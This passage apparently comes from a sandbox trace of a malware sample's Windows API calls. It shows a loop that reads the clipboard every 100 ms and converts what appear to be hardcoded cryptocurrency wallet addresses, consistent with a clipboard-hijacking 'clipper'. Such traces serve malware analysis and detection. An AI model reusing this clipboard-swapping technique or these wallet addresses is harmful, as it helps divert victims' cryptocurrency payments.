lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0051.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0051.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0051.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0051.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0051.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0051.149] Sleep (dwMilliseconds=0x64) [0051.279] GetOpenClipboardWindow () returned 0x0 [0051.279] OpenClipboard (hWndNewOwner=0x0) returned 1 [0051.279] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0051.279] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0051.279] GlobalSize (hMem=0x6069b8) returned 0x42 [0051.279] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0051.279] GlobalUnlock (hMem=0x6069b8) returned 1 [0051.279] CloseClipboard () returned 1 [0051.279] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.279] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.279] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.279] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.279] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.279] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.280] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.280] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.280] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.280] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.280] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.280] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.280] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.280] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.280] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.281] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.281] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.281] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.281] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.281] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.281] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.281] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.281] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.281] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0051.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0051.283] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0051.283] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0051.283] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0051.283] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0051.283] Sleep (dwMilliseconds=0x64) [0051.389] GetOpenClipboardWindow () returned 0x0 [0051.389] OpenClipboard (hWndNewOwner=0x0) returned 1 [0051.389] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0051.389] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0051.389] GlobalSize (hMem=0x6069b8) returned 0x42 [0051.389] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0051.389] GlobalUnlock (hMem=0x6069b8) returned 1 [0051.389] CloseClipboard () returned 1 [0051.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.390] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.390] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.390] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.390] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.390] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.390] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.390] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.390] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.390] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.391] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.391] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.391] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.391] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.391] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.391] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 